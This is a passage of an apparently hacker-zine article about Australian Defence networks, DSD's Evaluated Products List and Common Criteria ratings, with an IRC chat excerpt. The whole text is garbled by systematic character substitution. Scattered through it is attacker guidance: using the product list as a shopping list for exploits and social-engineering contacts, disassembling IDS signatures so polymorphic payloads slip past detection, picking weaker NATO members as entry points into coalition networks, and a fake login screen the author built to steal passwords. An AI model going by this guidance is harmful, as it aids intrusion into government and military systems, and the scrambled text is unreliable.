anomalous circumstances - exce*tions - 3hich most of us are a3are of [D
$reatin1 a criteria and then an im*lementation *rocedure for securit"
de0ices takes a lon1 time, it is also ex*ensi0e for the com*an" doin1
the im*lementation - as the" must *a" for the 4@4 staff8s time to do
criteria e0aluations - for their s*ecific im*lementation of their *roduct.
#hese rules are follo3ed strin1entl" at the time of a *articular
installation.
#he amount of (eaurecrac" found in the 4@4 is mind-(lo3in1. #hus their
a(ilit" to mo0e :uickl" on an" 1i0en s*ecific fla3 in securit" is )# #IA/@
small. #he" do ho3e0er kee* internal securit" mailin1 lists, *atches and
often ha0e direct contact 3ith not 9ust 0endors of *roducts (ut also the
ori1inal architects most of these 3on8t relate to $$+) listed *roducts
ho3e0er - more on all of this in the next section.
7ou 3ill e0en in *laces find tricks im*lemented in a 4@4 controlled net3ork
that "ou 3ill find no3here else in the 3orld - "ou ha0e (een 3arned.
--[ 4. )ustralian 4o4 and ;I@@=
;I@@= themsel0es are a rehash of the old 4+5 @u**ort 6rou* 3ho
maintained the old 4efense +estricted 5et3orks for the 4o4. ;I@@= is
the ne3 *ro9ect the 5a0" is CstillD runnin1 for the 4o4 - ,ee* in mind,
the na0" has historicall" (een in char1e of man" si1nals *ro9ects (efore
other (ranches of armed ser0ices ha0e (een in0ited to 9oin or use them -
the same I (elie0e is true of the <@ 5a0". CAust (e all that morse codeD.
#he ;I@@= 5et3ork is a su**ort net3ork for 4o4 Personel to communicate
3ith each other around the 3orld 3ith lo3 le0el communications
mediums. 'hich is to sa" la*to*s or other small com*uter s"stems 3ith
modems in order to hel* officers and other officials to communicate
across the 1lo(e in a secure manner for de*artmental *ur*oses.
#he ;I@@= 5et3ork @u**ort 6rou* has had se0eral contract 3orkers in the
4o4 to create a net3ork 3ith man" :uite amaBin1 and intricate net3ork
s"stems. #he officers are a(le to communicate 3ith 0oice o0er i*, di1ital
0ideo, 3hite(oards, conference rooms, text chat and other 3a"s [-.
#he" can exchan1e files and communicate o0er the *arts of the net3ork
that ha0e (een secured (" the 4@4 and the old 4+5 6rou*.
)s*ect $om*utin1 currentl" hold contract 3ith the 4o4 for ;I@@= $ore
$ontract and ;I@@= In-&ouse $ontract Pa"ment. 6i0en the amounts in
the re*orts I80e read, I8d su11est the"8re *ro(a(l" 9ust contractin1
either soft3are or hard3are or (oth to the 5a0" Cm" (est 1uessD 3ho 3ould
likel" onl" trust 4o4 or 4@4 staff to maintain the su**ort centre itself.
CIt mi1ht contract out some *ositions to suita(l" 4o4 securit" cleared
contractors - likel" to*-secret or (etter 3ould (e re:uiredD.
)t *resent )s*ect $om*utin1 is (ein1 *aid a**roximatel" NF million
dollars a "ear for su**ort to ;I@@=. #his 3ould *ro(a(l" (e a Hrd tier
su**ort net3ork, to (e used after (oth the ;I@@= @u**ort and ,)T could
not fix a *articular issue.
,)T #echnolo1" @er0ices CProcured (" #elstra in F004D is also a contractor
3ho *ro0ides $ommand and @u**ort @"stems for =fficers and %o1istical
@u**ort @"stems Inte1ration that is to sa" that these 1u"s *ro0ide all
the reall" nice and interestin1 comms soft3are that the officers and
su**ortWlo1istical *ersonel use for decision makin1 and chain of command
order 0erification. C#hink of them as the )ustralian 0ersion of @)I$D.
#he" 3on a . "ear NF00million contract (ack in F00. to *ro0ide deskto*
com*utin1 to the +)5 C+o"al )ustralian 5a0"D. ,aB had maintained a
relationshi* 3ith 4=4 since its ince*tion in 1LKK and is (ein1 offered
F "ear contract extensions u* until F01..
,aB staff 1o throu1h ri1ourous securit" checks in order to (e cleared
to 3ork on the ;I@@= net3ork and the" ha0e in the *ast (een helico*tered
out to sea in order to com*lete 3ork in re:uired timeframes.
;rom a ,)T document re1ardin1 their ;I@@= solutionE
>!ehind these ca*a(ilities, ,)T hi1h securit" architecture inte1rates
%otus 5otes +., 4omino, @ame#ime Cincludin1 ser0er to ser0er federated
architectureD, %)5W')5s, A@ 'indo3s 5# @er0ers, A@ 'indo3s #erminal
@er0ers, $itrix Aataframe G*e 1.0, <ltra #hin $lients, &P-<G and
&ummin1(ird /xceed.
#he architecture also dra3s on #$PWIP, I@45 and modems to connect
the ;leet to ser0ices across 4efence intranets, 3ith the addition
of cr"*to1ra*hic (lack (oxes outside each of the on-(oard ser0ers to
maintain militar" le0el securit".
,)T also inte1rated @ame#ime technolo1" to extend the 5a0"8s colla(orati0e
ca*a(ilities to a $oalition 'ide )rea 5et3ork C$=')5D, in0ol0in1
na0al s"stems (elon1in1 to )llies such as the <nited @tates and <nited
,in1dom.> [-
7ou8ll notice ,)T8s inference of a $oalition 'ide )rea 5et3ork 3hich I can
find no other mention of that *articular acron"m. It mi1ht (e either a
markettin1 insertation or somethin1 that eludes to more restricted
documentation. /ither 3a" "ou ha0e to assume ,)T kno3s more a(out it than
us and I find it interestin1 that such a (east is mentioned here.
I!A Pro0ide &ard3are and @oft3are also to do 3ith %o1istical su**ort
for the 0arious arms of the 4o4. [4
@un Aicros"stems are *ro0idin1 &ard3are and @oft3are for securit" (ased
fire3alls and other securit" de0ices C+;I4 and (iometric authentication
de0ice dri0ers and suchD. [4
%otus 5otes and 4omino are in use 3idel" still to this da" - 3hich at
first I 3asn8t sure of (ut I 3as in discussion on 3ith a friend and he
*ointed out the ,)T 3e(site - I8d su11est the 5a0" 3ould (e loath to
u*date their s"stems as often as normal cor*orates 3ould.
RaxeS %otus-4omino ..0.L
RaxeS i8m sur*rised that still exists
RthefinnS those docs are old
RthefinnS *ro(a(l" doesn8t exist no3
RthefinnS (ut mi1ht still
RthefinnS u ne0er kno3, their (eaurecrac" is amaBin1 sometimes
RthefinnS i actuall" 3orked 3ith a *rime LL.0 at one com*an"
RthefinnS didn8t e0en run the ne3er 0ersion of co(ol
RthefinnS ...
RthefinnS took u* half a room
RthefinnS 3as sittin1 next to all the )#M# ser0ers
RthefinnS funn" stuff
RaxeS htt*EWW333.kaB-1rou*.comWsu(scri(e
RaxeS "eah, 9ust to kee* some le1ac" code runnin1
RthefinnS "eah
RaxeS RP-- %otus-4omino C+elease ..0.La - Ianuar" J, F00F on 'indo3s
5#WIntelD --S
RthefinnS 3o3
RthefinnS there "a 1o
RthefinnS dude im 1onna add that in the article
RaxeS ho3 ma" i o3n thee, let us count the 3a"s..
RthefinnS haha
--[ .. )n Introduction to the the /P% and $$+).
%et8s introduce the criteria themsel0es8. )t the moment the 4@4 ha0e F
different ta(les of criteria the I#@/$ s"stem and the $$+) for e0aluatin1
*roducts for secure use on Ailitar" and 6o0ernment net3orks.
#he 4@4 C4efence @i1nals 4irectorateD is the main (od" (ehind secure
communications for the )ustralian 6o0ernment, ostensi(l" the" take the
same role as the 5@) does in the <@. #he /P% C/0aluated Products %istD
is the list the 4@4 creates and maintains denotin1 all *roducts *ut
for3ard (" 0endors for assessment (" the 4@4 for use in hi1h le0el,
hi1h securit" 1o0ernment net3orks and s"stems. #here are a num(er of
criteria in the 4@4 3hich *roducts are assessed for.
#he $$+) C$ommon $riteria +eco1nition )rran1ementD is an a1reement ("
5)#= nations in the 3est to rate e:ui*ment (" a shared standard as 3ell
as share *ast e0aluated *roducts at a common ratin1 so that the" mi1ht
interconnect their militar" and 1o0ernment net3orks to (etter control
"our sorr" ass. [D
#o allo3 those *oor cor*orates 3ho ha0e s*ent lots and lots of dollars
on 1ettin1 their *roducts e0aluated, time to re-e0aluate them under
the ne3 international s"stem, the $$+) Cas a (od"D are 1oin1 to allo3
mem(er countries 3ho ha0e used the I#@/$ CInformation #echnolo1" @ecurit"
$riteriaD s"stem Cincludin1 the <@), <,, )ustraliaD to use I#@/$ rated
*roducts as $$+) rated *roducts for the time(ein1.
#his (asicall" means the /P%8s for all these countries are no3 turnin1
into the $$+). #he" are amal1amatin1 .0 "ears of >defense> *rotocols
and *olitical maneu0erin1 to (e a(le to dominate more freel". )fter
all it 3ouldn8t (e nice to ha0e <, troo*s in some little out of the 3a"
0illa1e 3hile the <@ 5a0" are orderin1 cruise missiles to destro" it from
1000 kilometers a3a" - the s*eed" communications methods and strin1ent
*rotocols Cmilitar" *rotocolsD ena(led (" a communications net3ork like
this 3ould allo3 for these kinds of scenarios to (e less of a concern
and ha0e a million other (enefits.
)lon1 3ith the /1-/- CI#@/$D and /)%1-/)%J C$$+)D, there is a net3ork
desi1nation relatin1 to the secrec" and securit" needs for the net3ork,
as follo3sE <5$%)@@I;I/4, I5-$=5;I4/5$/, +/@#+I$#/4, P+=#/$#/4, 5ational
@ecurit"W&I6&%7 P+=#/$#/4.
#he 4ocument relates the re:uired securit" de0ice to (e used
interconnectin1 the different net3orks 3hich I 3ill include hereE
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
O @+$ 5/#'=+, O )54 4@# 5/#'=+, I@ O #&/5 7=<+ 6)#/')7 +/X<I+/@ O
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
O <5$%)@@I;I/4 O - *u(lic domain. O a traffic flo3 filter. O
O O - <5$%)@@I;I/4. O O
O O - I5-$=5;I4/5$/. O O
O O - P+=#/$#/4. O O
O O - &I6&%7 P+=#/$#/4 or O O
O O 5ational @ecurit". O O
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
O I5-$=5;I4/5$/ O - *u(lic domain. O an /)%F ;ire3all. O
O O - <5$%)@@I;I/4. O O
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
O O - I5-$=5;I4/5$/. O a traffic flo3 filter. O
O O - P+=#/$#/4. O O
O O - &I6&%7 P+=#/$#/4 or O O
O O 5ational @ecurit". O O
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
O +/@#+I$#/4 O - *u(lic domain. O an /)%F ;ire3all. O
O O - <5$%)@@I;I/4. O O
O O - I5-$=5;I4/5$/. O O
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
O O - P+=#/$#/4. O a traffic flo3 filter. O
O O - &I6&%7 P+=#/$#/4. O O
O O 5ational @ecurit". O O
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
O P+=#/$#/4 O - *u(lic domain. O an /)%4 ;ire3all. O
O O - <5$%)@@I;I/4. O O
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
O O - I5-$=5;I4/5$/. O an /)%H ;ire3all. O
O O - +/@#+I$#/4. O O
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
O O - P+=#/$#/4. O an /)%F ;ire3all. O
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
O O - &I6&%7 P+=#/$#/4 or O an /)%1 ;ire3all. O
O O 5ational @ecurit". O O
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO
$an "ou see the interestin1 *arts 3ith re1ard to our dialu*s2
F thin1s I notice ri1ht a3a". If an"thin1 &I6&%7 P+=#/$#/4 or 5ational
@ecurit" rated are connected to the net3ork 3e ha0e dialu*s for - there8s
onl" a *acket filter in (et3een me and it - if the old 4+5 net3ork ratin1
hasn8t chan1ed. C) restricted net3orkD.
)lso, (ehind that terminal ser0er, I can *ro(a(l" ex*ect to find m"self
facin1 a nice /)%F rated fire3all. )s I 3ould assume the P@#5 5et3ork is
considered >Pu(lic 4omain>. It ma" e0en re:uire some kind of secure-I4
t"*e authentication - a one time *ad or smartcard.
#his 3ould (e a theoretical lo1in session 1i0en the t"*es of e:ui*ment
listed on the /P% and 3hat the" are used for.
#he net3ork to*olo1" could easil" include remote identification ser0ers.
#he terminal ser0er itself can insti1ate PPP 3ith a client, *ass "ou
throu1h to the $isco VP5 H000 $oncentratorC/)%FD, "ou authenticate there
0ia ke" and it directs "ou to 3here "ou8re tr"in1 to 1o, 3hen "ou 1et
there "ou ha0e a @un ;ire3all-1 C/)%4YD askin1 for "our @ecureI4 one time
P)4 or similar *roduct. =nce "ou do that, "ou can check "our email,
do3nload "our *orn, 3hate0er.
)lso the other interestin1 thin1 to note - /)%1 rated fire3alls are onl"
1oin1 to (e found on P+=#/$#/4, &I6&%7 P+=#/$#/4 or 5ational @ecurit"
net3orks and onl" 3here the" interconnect 3ith others of the same securit"
ratin1. If "ou find one one of those fire3alls - "ou kno3 the im*ortance
of the net3orks "ou8re on.
5o3 do3n to the exact securit" desi1nations for the *roductsE
/)%1 - ;unctionall" #ested. Pro0ides anal"sis of the securit" functions,
usin1 a functional and interface s*ecification of the #=/ Ctar1et of
e0aluationD, to understand the securit" (eha0iour. #he anal"sis is
su**orted (" inde*endent testin1 of the securit" functions.
/)%F - @tructurall" #ested. )na"sis of the securit" functions usin1 a
functional and interface s*ecification and the hi1h le0el desi1n of the
su(s"stems of the #=/. Inde*endent testin1 of the securit" functions,
e0idence of de0elo*er >(lack (ox> testin1, and e0idence of a de0elo*ment
search for o(0ious 0ulnera(ilities.
/)%H - Aethodicall" #ested and $hecked. #he anal"sis is su**orted
(" >1re" (ox> testin1, selecti0e inde*endent confirmation of the
de0elo*er test results, and e0idence of a de0elo*er search for o(0ious
0ulnera(ilities. 4e0elo*ment en0ironment controls and #=/ confi1uration
mana1ement are also re:uired.
/)%4 - Aethodicall" 4esi1ned, #ested and +e0ie3ed. )nal"sis is su**orted
(" the lo3-le0el desi1n of the modules of the #=/, and a su(set of the
im*lementation. #estin1 is su**orted (" an inde*endent search for o(0ious
0ulnera(ilities. 4e0elo*ment controls are su**orted (" a life-c"cle model,
identification of tools, and automated confi1uration mana1ement.
/)%. - @emiformall" 4esi1ned and #ested. )nal"sis includes all of
the im*lementation. )ssurance is su**lemented (" a formal model and a
semiformal *resentation of the functional s*ecification and hi1h le0el
desi1n, and a semiformal demonstration of corres*ondence. #he search
for 0ulnera(ilities must ensure relati0e resistance to *enetration
attack. $o0ert channel anal"sis and modular desi1n are also re:uired.
/)%- - @emiformall" Verified 4esi1n and #ested. )nal"sis is su**orted ("
a modular and la"ered a**roach to desi1n, and a structured *resentation
of the im*lementation. #he inde*endent search for 0ulnera(ilities must
ensure hi1h resistance to *enetration attack. #he search for co0ert
channels must (e s"stematic. 4e0elo*ment en0ironment and confi1uration
mana1ement controls are further stren1thened.
/)%J - ;ormall" Verified 4esi1n and #ested. #he formal model is
su**lemented (" a formal *resentation of the functional s*ecification
and hi1h le0el desi1n sho3in1 corres*ondence. /0idence of de0elo*er
>3hite (ox> testin1 and com*lete inde*endent confirmation of de0elo*er
test results are re:uired. $om*lexit" of the desi1n must (e minimised.
5oteE =nl" assurance le0els 1-4 are incor*orated in the $$+) currentl",
and ratin1s of *roducts 3hich fit criteria a(o0e le0el 4 in )ustralia,
are desi1nated 4Y on the /P%.
&ere I8ll 1i0e a fe3 exam*les of ratin1s from random cata1ories.
C#he /P% is s*lit u* into 0arious net3ork de0ices and then the lar1er
*art of net3ork securit" *roductsD.
!iometric Products
/)%F - Iridian #echnolo1ies ,no'ho )uthentication @er0er and Pri0ate I4
Aiscellaneous 4e0ices
/1 - 5/$ @F CAo(ile @atellite #erminalD
/)%1 - $isco VoIP #ele*hon" @olution
5et3ork @ecurit" 4e0ices
/)%1 - @ecure @ession VP5 04.1.1
/)%F - @urf$ontrol /mail filter for @A#P
/)%4 - $lears3ift !astion II ;ire3all
/)%4Y - $isco @ecure PIG ;ire3all VJ.0C-D
=*eratin1 @"stems
/H - )IG V4.H
/)%4Y - @un #rusted @olaris KW04
/)%4Y - 'indo3s F000 Professional, @er0er and )d0anced @er0er
3ith @PH and XHF-KK- &otfix Ocou1hO(ullshitOcou1hO
#here are also smartcard *roducts, P$ @ecurit" *roducts, encr"*tion
*roducts, and man" other cata1ories. Aore in-de*th information can (e
found on the 3e(site itself re1ardin1 each *roduct.
--[ -. #he /P% and $$+) in de*th
4urin1 1LLK #he <nited ,in1dom, ;rance, 6erman", #he <nited @tates and
$anada *ut in *lace the $$+). )ustralia 9oined in 1LLL. It should (e noted
here also that under the mem(er countries list C3ith contact detailsD
under the 4@4 3e(site, Ia*an, @outh ,orea, 5etherlands and 5or3a" ha0e
also 9oined the $$+) recentl".
#his $riteria is for use (et3een the countries in an" kinds of shared
net3ork arran1ements - this *rocess is called >Autual +eco1nition>. #he
*hiloso*h" (ehind this is that o0erseas *roducts rated (" the 4@4, 5@)
and 0arious other or1anisations can (e used in other mem(er countries
3ithout (ein1 re-e0aluated as the criteria is the same. )lthou1h it ma"
(e noted that Cat least in )ustraliaD the 4@4 does *ro0ide exce*tions for
an" kind of cr"*to1ra*hic e:ui*ment 3hich it ma" need to 1i0e *articular
e0aluation to.
CI 3onder if this is a securit" concern or more to do 3ith com*ati(ilit"D.
)lso a0aila(le is the )$@IHH 5et3ork @ecurit" Aanual - Pu(lic 4omain
$o*" [1 - this is much like the old 4o4 =ran1e !ook in the <@.
#his manual defines man" of the )ustralian 4o4 5et3ork securit" standards
and criteria *rere:uisites for man" of the su**licants of 4@4W4o4 a**ro0al
for the /0aluated Products %ist C/P%D.
If "ou check the /P% itself, "ou8ll find criteria certification re*orts
and securit" tar1et *a*ers, definin1 ho3 the *roduct 3as certified,
*ossi(le 3eaknesses in the *roduct, ho3 the *roduct should (e used in
the 4o4 and all the contact details an" 1i0en 4o4 de*artment should need
to (u" such a *roduct or 1et information on it.
7ou ha0e the sho**in1 list for ex*loits, contact information for social
en1ineerin1, a detailed outline of 3hat to 3orr" a(out once "ou8d attacked
a 4o4 net3ork *oint and ho3 to hide "ourself from I4@ - "ou ha0e the list
of 3hat I4@ are used, and can do3nload the I4@ si1nature reco1nition
files and run those throu1h somethin1 like I4) Pro disassem(ler. #hen
modif" "our codeW*a"load to no lon1er alert the I4@ soft3are, use of
*ol"mor*hic *a"load 3ould (e a 1ood techni:ue to use for this once "ou
kno3 the tri11erin1 *attern.
@ince the old da"s of hackin1 into .mil8s on the old milnet Cthe cold-3ar
i* net3ork of the <@) 3hich 3as used (oth for research and de0elo*mentD
of the earl" L08s lots of thin1s ha**ened. %ots of (usts and a lot of
talk of securin1 the 1o0ernments of the 3estern 3orld. )nd the" are not
the onl" ones. @ince the earl" L08s 3e80e seen a hu1e amount of di1est on
chan1es to com*uter related la3s 3orld3ide in relation to this *articular
a1enda in *laces like +ussia, $hina and 5orth ,orea.
#here is more than enou1h information in these documents to set u*
an ela(orate net3ork attack, 3hen the 0arious militar" or1anisations
3ill (e more reliant than e0er on these net3orks for command and
control, lo1istics and communications.
Aore interestin1 is the fact that on the <, /P% and the <@ /P% the" also
list the same *roducts 3ith the same ratin1 - e0en thou1h some of them ha0e
(een inde*endantl" assessed ChahaD, further *ushin1 the *oint that these
net3orks are no3 at least sli1htl" intero*era(le or at least (ecomin1 so
o0er time.
#he scare" *art is that it8s connected to the lar1est militar"
(od" in the 3orld. #he <@ 4o4, 3ho ha0e run @IP+5 for man" "ears, since
the" re-(uilt the earl" milnet after the cold-3ar. #he net3ork there (ein1
a(le to at least s*eak to the )ustralian net3ork and (e restricted ("
1uidelines of Autual +eco1nition as set do3n (" the ne3 standards in the
$$+) must of course adhere to the same standards, and can (e reco1nised
(" the /)% desi1nation on the )ustralian and <, /P%s.
#heor"E %atest ex*loits - or e0en old ones - could still 3ork
to this da" on man" of the s"stems (ecause of the 3a" the /P% is
im*lemented. $om*anies must *a" to (ecome a *art of the /P%. It can cost
u*3ard of N1,000,000 )<4 to 1et a *roduct certified sufficientl". ;rom
the com*anies *oint of 0ie3 - the more the" *a", the (etter their market
share is, (ecause the further u* the /P% ratin1 the" 1o - (" takin1
more time throu1h e0aluation - 3hich costs more to 1et e0aluated for,
the" find less com*anies are 3illin1 to *a" for the e0aluation.
#his directl" im*acts sales (ecause the more secure a net3ork is rated
internall" (" the 4@4 the less choice an" 1i0en de*artment has for the
*roducts to secure it. Prett" much the 4@4W5@) etc. 3ill 1i0e "ou a
license to *rint mone" - as lon1 as "ou *a" #&/A first.
&ere8s one recent exam*le of the 3hole deal 1oin1 3ron1 3hich has come out
in the *ress as I 3rote this article [J. I find it interestin1 that e0en
the most educated securit" consultants aren8t reall" that a3are of the 3a"
the intelli1ence communit" is functionin1 3hen it comes to the $$+)W/P%
e:ui*ment. #heir mention of >Pentest ex*resses dou(ts a(out 3hether the
certification of the fire3all accordin1 to $ommon $riteria /)%4Y is
merited on the (asis of the fla3s it unearthed.> amuses me. ;act is, once
a *articular IAP%/A/5#)#I=5 of a *roduct is e0aluated, it doesn8t chan1e.
It 3on8t (e >+e1ularl" Patched> or e0en >+e1ularl" /0aluated>, an" chan1es
3hatsoe0er made to the im*lementation make it non-standard and no lon1er
adherin1 to the criteria it 3as e0aluated for ori1inall" - that8s the *oint
of e0aluation - as far as the 4@4W5@) are concerned.
7ou are almost (ack at the old 5)@) adda1e (ack 3hen the s*ace race 3as
on and the" 3ould 9oke that the +ussians had their (est minds and *arts
1oin1 into their *ro9ect 3hile the <@ s*acecraft 3as 10,000 mo0in1 *arts,
all (uilt (" the lo3est (idder run (" a 1rou* of *eo*le chosen on their
a(ilit" to kiss ass.
#his is the (asic *ro(lem 3ith (eaurecrac" in the 3estern militar".
!eaurecrats are al3a"s tr"in1 to 9ustif" their existence, the" do so
(" tellin1 e0er"one 3hat the" are doin1 and com*anies in0ol0ed 3ant to sa"
>he" look 3hat 3e did for the 4o4>.
=n 3ith our look at the *rett" secure net3orkE 'ithout actuall" (reakin1
in, 3e can8t kno3 if "ou can (reak into the american net3ork from the
)ustralian side, or an" other side, ho3e0er, the *re0ious desi1nations
3ith re1ard to P+=#/$#/4 net3orks connectin1 to 5ational @ecurit" 5et3orks
could tell us that 3e mi1ht (e a(le to easil". I su11est that no matter
3hat the $$+) 3ill tell countries to do, their o3n internal 4@4, 5@), 4o4
com*uter de*artments 3ill re:uire some hea0" securit" (et3een coalition
mem(ers. !ut this is onl" an assum*tion on m" *art, I 3ouldn8t *ut it
*ast the 0arious de*artment heads to cut costs here - it ha**ens.
I find it amusin1 that in none of the a(o0e de*artments or /P%8s does
5@) @/%inux 1et a mention [D CPro(a(l" 9ust someone8s *et *ro9ectD.
=ne assum*tion "ou8d ha0e to make is the net3ork 3ouldn8t (e fast out of
the countr" "ou8re in. 6round (ased satellite trans*onders are (ound to
(e slo3, shi* (ased ones e0en slo3er. 5et3ork co0era1e of com(at areas
is 1oin1 to (e *rett" nast" for data - es*eciall" if "ou are on a dialu*
line. !ut the" are there. +ecent @atellite scans sho3 a lar1e num(er of @
and G (and non-commercial satellite (eacons C3hich sho3 3orkin1
trans*onders in s*aceD and dataWanalo1 si1nals 3hich are encr"*ted as no
in-(and scans return an" 0alid out*ut at all C"ou can see the (and3idth is
(ein1 used ho3e0erD.
I dont ha0e a lot of information a(out the @IP+ 5et3ork, not (ein1 in the
<.@ Cho*efull" it 3ill not (e lon1 (efore someone 3rites another article
on itD.
!ut from the 4I@) 3e(siteE
@IP+5etE #he @ecret IP +outer 5et3ork C@IP+5etD is 4o4s lar1est
intero*era(le command and control data net3ork, su**ortin1 the 6lo(al
$ommand and $ontrol @"stem C6$$@D, the 4efense Aessa1e @"stem C4A@D,
colla(orati0e *lannin1 and numerous other classified 3arfi1hter
a**lications. C5oteE I su11est 3arfi1hter a**lications means trainin1
*ro1ramsD.
4irect connection data rates ran1e from .- k(*s to 1..A(*s. +emote
dial-u* ser0ices are a0aila(le u* to 1L.Fk(*s.
#he data rates there are interestin1, meanin1 the" also ha0e dialu* and
)#A links a0aila(le *ossi(l" faster is no3 a0aila(le as that *a1e hasn8t
(een u*dated since the mid L08s.
--[ J. =ther @tandards
#he onl" other standards I80e found that are 3orth" of note for this
*articular *a*er are the encr"*tion standards. #hese are also noted in the
acsiHH document full". #he usa1e of H4/@ and )/@ for s"mmetrical
encr"*tion and +@)W4&W4@)W/lli*tic $ur0e 4iffie-&ellman C/$4&DW/lli*tic
$ur0e 4i1ital @i1nature )l1orithm C/$4@)D for as"mmetric Cke" exchan1esD.
/ncr"*tion is not m" stron1 *oint, ho3e0er it should (e noted the $$+)
mem(ers defer to 5I@# 3ith re1ard to most of their encr"*tion
standards.
;act is I am :uotin1 almost directl" from the acsiHH document here, the
onl" encr"*ted VP5s I e0er set u* for these com*anies I 3orked for 3ere
$isco I=@ Hdes al1orithms.
--[ K. @ecrets
)t the end of the cold 3ar, there 3ere *ro(a(l" a fe3 hundred thousand
com*uters hooked u* to the internet. )lmost e0er" countr" on earth had
@=A/#&I56 hooked u*. #he +M4 de*artments of uni0ersities in )ustralia 3as
3here I 1ot m" internet access from and de0elo*ed contacts in the hacker
scene of the time. )t that time $hina and the <@@+ 3ere (oth lar1e threats
to 3estern dominance, ho3e0er I find it interestin1 to note that all of the
mem(er countries of (oth of these *o3er (locks 3ere internet connected at
the time the cold 3ar 3as in full force.
#he <@ 4o4 or 4)+P) has still ne0er actuall" disclosed an" 1i0en *ro9ect to
do 3ith en1ineerin1 or humanities that the internet actuall" facilitates
a*art from communication.
=ne has to 3onder a(out the si1nificance of the storm 3orm and other such
0irii, their a(ilit" to act as an autonomous strike a1ainst non-militar",
(ut more a re1ional strike a1ainst economic infrastructure.
#he foreseen assum*tion of an" 1i0en (iolo1ical, nuclear or 3ides*read
terrorist attack 3ould (e that that economic infrastructure 3ould disol0e
(efore militar" infrastructure.
)fter ha0in1 3ritten this article, I8m not entirel" sure that is a 0alid
assum*tion...
--[ L. $onclusion
Auch as I 3ould like to 3rite more a(out the net3orks in other nations
CIa*an and ;rance 3ould (e nice to find out a(outD, I don8t reall" ha0e
the time to 3ardial or do research for so man" net3orks in so man"
countries. It 3ill ha0e to come at a later date (" other 3riters. !ut kee*
in mind, the <@) s*end the most on industrial militar" and mainstream
militar" *ro9ects in the 3orld 9ust (" matter of o0erall odds for (reakin1
in and not (ein1 disco0ered, the" are *ro(a(l" "our least fa0oura(le
tar1et. )s the net3ork seems to no3 (e interconnected 3ith other 5)#=
nations, one of the nations s*endin1 less on it mi1ht (e 1i0e
(etter outcomes.
#he standards are the same across the (oard an"ho3, most of this
information 3ill still (e 1ood as lon1 as "ou are in, or lookin1 at a
net3ork in one of these mem(er nations.
I think man" *eo*le in the 0arious militar" de*artments across the 3orld
3ho are mem(er or1anisations for this *articular net3ork should (e :uite
em(arassed (" this information (ein1 so eas" to 1et. @ecurit" throu1h
o(scurit" is another oldschool techni:ue 3hich seems to ha0e 1one the
3a" of the steam train - e0en (" those 3ho should (e most concerned 3ith
o(scurin1 and securin1 their data.
)n" hacker 3ho has (een around for an" decent len1th of time can tell "ou
there is a 3a" around an" s"stem - if "ou added the extra ad0anta1e of
ha0in1 man" men 3ho are read" and 3illin1 to come to "our countr" and
>kick the door do3n> to *rocure some of this information, the *eo*le
res*onsi(le for this should (e concerned. If 3e can 1lean all of this
from the >*u(lic domain> securit" le0el, ima1ine 9ust ha0in1 some access
to documentation from the I5-$=5;I4/5$/ net3ork com*uter.
In m" o3n ex*erience in 3orkin1 for the )ustralian 4@4 throu1h
contractors, I found man" times that their net3ork data securit" 3as
0er" de*endant u*on one or t3o a**lications that 3ere (ou1ht from
outside or1anisations - *oorl" im*lemented and onl" 0er" rudimentar"
securit" *recautions taken. /0en the fact that I 3orked there - e0en 3ith a
*re0ious criminal record to do 3ith 1ainin1 access to common3ealth
s"stems, insertin1 data in common3ealth s"stems, and defraudin1 the
credit card s"stem - 3as a securit" (reach.
=ne of the first com*uters I e0er (roke into 3as done 0ia a $=!=% *acket
snarfer. I re-3rote all of the screens to all of the com*uters the terminal
ser0ers 3ould connect to. #hen from an account I looked o0er someone8s
shoulder to 1et, I ran u* the snarfer and it 3ould look as if I had lo11ed
out. I hadn8t, in fact the *ro1ram 3as runnin1 and looked like the lo1in
screen. 'hen "ou t"*ed in "our usernameW*ass3ord *air, it 1a0e the
usual >Pass3ord )uthorisation ;ailure> or other error messa1e Cde*endin1
on 3here "ou 3ere lo11in1 inD and it lo11ed it to a file in another
account - 3hich had the file *ermissions o*ened on it so other accounts
could 3rite to its8 director". #he *ro1ram then lo11ed itself out -
1i0in1 the user the normal lo1in screen. $om*letel" unseen (" them, and
the" merel" thou1ht the" had t"*ed the 3ron1 *ass3ord.
K 7ears later I 3as 3orkin1 for this *articular contractor to the 4@4, I
found m"self sittin1 in )ir ;orce (ases, 5a0" %o1istics $entres, as 3ell
as man" hi1h-end 1o0ernment and cor*orate com*uter securit" de*artments.
Ph"sical securit" 3as not an issue - e0en thou1h, if *ro**er (ack1round
checks had (een done on me - I 3ould not ha0e (een allo3ed
to (e there.
Iin the *ast fe3 months I80e seen 0arious talk in the *ress a(out (otnets,
attack 0ectors from unkno3n sources and the dreaded >(lack hat> hackers.
#he latest lau1h I had 3as the stats from 1oo1le sa"in1 that more unix
(oxes had (een com*romised than 3indo3s (oxes and the re*orter couldn8t
understand 3h" unix 3as considered more secure than 3indo3s. #he" didn8t
and don8t to this da" understand '&7 Onix and o*en source are more secure
- I am not 1oin1 to educate *eo*le here.
$reatin1 an aire of >h"*e> or com*lacenc" in an" securit" en0ironment is
com*letel" unconstructi0e, use of >kno3n factors> throu1h use of friends
and other associates is like3ise unconstructi0e.
